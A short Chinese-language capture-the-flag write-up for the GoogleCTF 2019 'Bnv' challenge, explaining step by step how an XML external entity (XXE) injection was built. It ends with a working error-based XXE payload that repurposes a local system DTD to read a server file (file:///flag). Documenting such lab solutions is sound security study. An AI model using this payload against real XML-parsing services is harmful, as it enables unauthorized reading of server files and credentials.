# [GoogleCTF2019 Quals]Bnv
先 bp 抓包发现
是 json 数据:由 json 数据想到是 xxe 注入,再次基础上修改 Content-Type 为 application/xml, 发现是少了一个 <,感觉是少了一个 xml 文件的头,加一个
<?xml version="1.0" encoding="UTF-8"?> |
报错说是没找到 DTD 文件,添加 DTD 文件的实体
<?xml version="1.0"?> | |
<!DOCTYPE message[ | |
<!ENTITY xxe "135601360123502401401250"> | |
]> | |
<message>&xxe;</message> |
报错没有元素消息的声明
可以看到报错没有元素消息的声明,显然解析器需要在 DTD 中声明以定义的元素,有点像在使用变量之前声明变量。所以让我们给它想要的,我们要做的就是在 DTD 中声明消息,我们可以通过使用数据,指定名为 message 的元素来实现这一点,定义类型设置为 PC 数据,现在让我们继续尝试。
这里得说一下 DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。带有 DTD 的 XML 文档实例
回显成功,通过外带数据的形式添加一 个外部实体来发出出口请求。
未加载外部实体,需要使用内部 dtd 文件加载,(之前还用加载文件的方法,结果标记错误)
最后的数据:
<?xml version="1.0"?> | |
<!DOCTYPE message[ | |
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> | |
<!ENTITY % ISOamso ' | |
<!ENTITY % file SYSTEM "file:///flag"> | |
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>"> | |
%eval; | |
%error; | |
'> | |
%local_dtd; | |
]> |
参考链接:https://blog.csdn.net/cjdgg/article/details/114420160